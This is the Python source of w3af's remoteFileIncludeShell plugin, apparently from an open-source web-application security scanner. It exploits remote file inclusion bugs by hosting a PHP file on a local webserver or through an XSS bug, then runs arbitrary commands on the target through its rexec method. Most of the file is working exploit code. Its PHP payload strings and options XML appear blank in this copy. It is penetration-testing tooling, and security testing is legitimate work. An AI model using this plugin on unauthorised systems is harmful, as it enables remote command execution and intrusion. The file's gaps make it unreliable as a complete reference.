''' remoteFileIncludeShell.py Copyright 2006 Andres Riancho This file is part of w3af, w3af.sourceforge.net . w3af is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. w3af is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with w3af; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA ''' from core.data.fuzzer.fuzzer import * import core.controllers.outputManager as om from core.controllers.basePlugin.baseAttackPlugin import baseAttackPlugin import core.data.kb.knowledgeBase as kb import core.data.parsers.urlParser as urlParser from core.controllers.w3afException import w3afException from core.controllers.daemons.webserver import webserver import os,time class remoteFileIncludeShell(baseAttackPlugin): ''' This plugin exploits remote file include bugs. @author: Andres Riancho ( andres.riancho@gmail.com ) ''' def __init__(self): baseAttackPlugin.__init__(self) self._shell = None self._wS = None # User configured variables self._listenPort = 8090 self._listenAddress = '' self._useXssBug = False def fastExploit(self, url, method, data ): ''' Exploits a web app with remote file include vuln. @parameter url: A string containing the Url to exploit ( http://somehost.com/foo.php ) @parameter method: A string containing the method to send the data ( post / get ) @parameter data: A string containing data to send with a mark that defines which is the vulnerable parameter ( aa=notMe&bb=almost&cc=[VULNERABLE] ) ''' return self._shell def getType(self): return 'shell' def canExploit(self ): ''' Searches the kb for vulnerabilities that the plugin can exploit. @return: True if plugin knows how to exploit a found vuln. ''' if self._listenAddress == '' and not self._useXssBug: raise w3afException('remoteFileIncludeShell plugin has to be correctly configured to use.') rfiVulns = kb.kb.getData( 'remoteFileInclude' , 'rfi' ) if len( rfiVulns ) == 0: return False else: if self._useXssBug: if len( kb.kb.getData( 'xss' , 'xss' ) ): for vuln in kb.kb.getData( 'xss' , 'xss' ): if not vuln['escapesSingle'] and not vuln['escapesDouble'] and not vuln['escapesLtGt']: self._xssVuln = vuln return True else: om.out.error('remoteFileIncludeShell plugin is configured to use a XSS bug to exploit the RFI bug, but no XSS with the required parameters was found.') return False else: om.out.error('remoteFileIncludeShell plugin is configured to use a XSS bug to exploit the RFI bug, but no XSS was found.') return False else: # Using the good old webserver return True def exploit(self ): ''' Exploits a remoteFileInclude vuln that was found and stored in the kb. @return: True if the shell is working and the user can start calling rexec ''' om.out.information( 'remoteFileIncludeShell exploit plugin is starting.' ) rfiVulns = kb.kb.getData( 'remoteFileInclude' , 'rfi' ) if not self.canExploit(): raise w3afException('Failed to initialize remoteFileIncludeShell.') for vuln in rfiVulns: # Try to get a shell using all vuln if self._generateShell(vuln): # A shell was generated, I only need one point of exec. return True return False def _generateShell( self, vuln ): ''' @return: True is a shell object based on the param vuln was created ok. ''' # Check if we really can execute commands on the remote server if self._verifyVuln( vuln ): # Set shell parameters self._url = urlParser.uri2url( vuln.getURL() ) self._method = vuln.getMethod() self._exploitQs = vuln.getDc() self._variable = vuln.getVar() return True else: return False def _verifyVuln( self, vuln ): ''' This command verifies a vuln. This is really hard work! @return : True if vuln can be exploited. ''' # The vuln was saved to the kb as a vuln object url = urlParser.uri2url( vuln.getURL() ) method = vuln.getMethod() exploitQs = vuln.getDc() variable = vuln.getVar() # Create a file that will be included ( PHP only ) ### TODO: Extend for other scripting languages ! rand = createRandAlpha( 10 ) phpStr = '' urlToInclude = self._genURLToInclude( phpStr ) if not self._useXssBug: self._wS = webserver( self._listenAddress, self._listenPort , 'webroot' + os.path.sep) self._wS.start2() time.sleep(0.5) # wait for webserver thread to start # Lets define the result header and footer. functionReference = getattr( self._urlOpener , method ) exploitQs[ variable ] = urlToInclude response = True try: response = functionReference( url, str(exploitQs) ) except: response = False else: response = self._defineCut( response.getBody(), rand , exact=True ) if not self._useXssBug: self._wS.stop() # Remove the file filename = urlToInclude.split('/')[-1:][0] os.remove( os.path.join('webroot' + os.path.sep, filename ) ) return response def _genURLToInclude( self, phpStr ): ''' Generate the URL to include, based on the configuration it will return a URL poiting to a XSS bug, or a URL poiting to our local webserver. ''' if self._useXssBug: url = urlParser.uri2url( self._xssVuln.getURL() ) dc = self._xssVuln.getDc() dc = dc.copy() dc[ self._xssVuln.getVar() ] = phpStr urlToInclude = url + '?' + str(dc) return urlToInclude else: # Write the php to the webroot filename = createRandAlNum() try: f = open( os.path.join('webroot' + os.path.sep, filename ) , 'w') f.write( phpStr ) f.close() except: raise w3afException('Could not create file in webroot.') else: urlToInclude = 'http://' + self._listenAddress +':' + str(self._listenPort) +'/' + filename return urlToInclude def rexec( self, command ): ''' This method is called when a command is being sent to the remote server. This is a NON-interactive shell. @parameter command: The command to send ( ie. "ls", "whoami", etc ). @return: The result of the command. ''' # Escape the quotes command = command.replace('"','\\"') # Lets send the command. # Create a file that will be included ( PHP only ) filename = createRandAlNum() phpStr = '' urlToInclude = self._genURLToInclude( phpStr ) if not self._useXssBug: self._wS = webserver( self._listenAddress, self._listenPort , 'webroot' + os.path.sep) self._wS.start2() time.sleep(0.2) # wait for webserver thread to start result='' functionReference = getattr( self._urlOpener , self._method ) self._exploitQs[ self._variable ] = urlToInclude try: response = functionReference( self._url, str(self._exploitQs) ) except: return 'Error including file in remote host. Try again.' else: result = '' try: result = self._cut( response.getBody() ) except w3afException, w: result = str(w) if not self._useXssBug: self._wS.stop() # Remove the file filename = urlToInclude.split('/')[-1:][0] os.remove( os.path.join('webroot' + os.path.sep, filename ) ) return result def getOptionsXML(self): ''' This method returns a XML containing the Options that the plugin has. Using this XML the framework will build a window, a menu, or some other input method to retrieve the info from the user. The XML has to validate against the xml schema file located at : w3af/core/ui/userInterface.dtd @return: XML with the plugin options. ''' return '\ \ \ \ \ \ ' def setOptions( self, optionsMap ): ''' This method sets all the options that are configured using the user interface generated by the framework using the result of getOptionsXML(). @parameter optionsMap: A map with the options for the plugin. @return: No value is returned. ''' self._listenAddress = optionsMap['listenAddress'] self._listenPort = optionsMap['listenPort'] self._useXssBug = optionsMap['useXssBug'] if self._listenAddress == '' and not self._useXssBug: raise w3afException('remoteFileIncludeShell plugin has to be correctly configured to use.') def getPluginDeps( self ): ''' @return: A list with the names of the plugins that should be runned before the current one. ''' return [] def getRootProbability( self ): ''' @return: This method returns the probability of getting a root shell using this attack plugin. This is used by the "exploit *" function to order the plugins and first try to exploit the more critical ones. This method should return 0 for an exploit that will never return a root shell, and 1 for an exploit that WILL ALWAYS return a root shell. ''' return 0.8 def getLongDesc( self ): ''' @return: A DETAILED description of the plugin functions and features. ''' return ''' This plugin exploits remote file inclusion vulnerabilities and returns a remote shell. The exploitation can be done using a more classic approach, in which the file to be included is hosted on a webserver that the plugin runs, or a nicer approach, in which a XSS bug on the remote site is used to generate the remote file to be included. Both ways work and return a shell, but the one that uses XSS will work even when a restrictive firewall is configured at the remote site. Three configurable parameters exist: - listenAddress - listenPort - useXssBug '''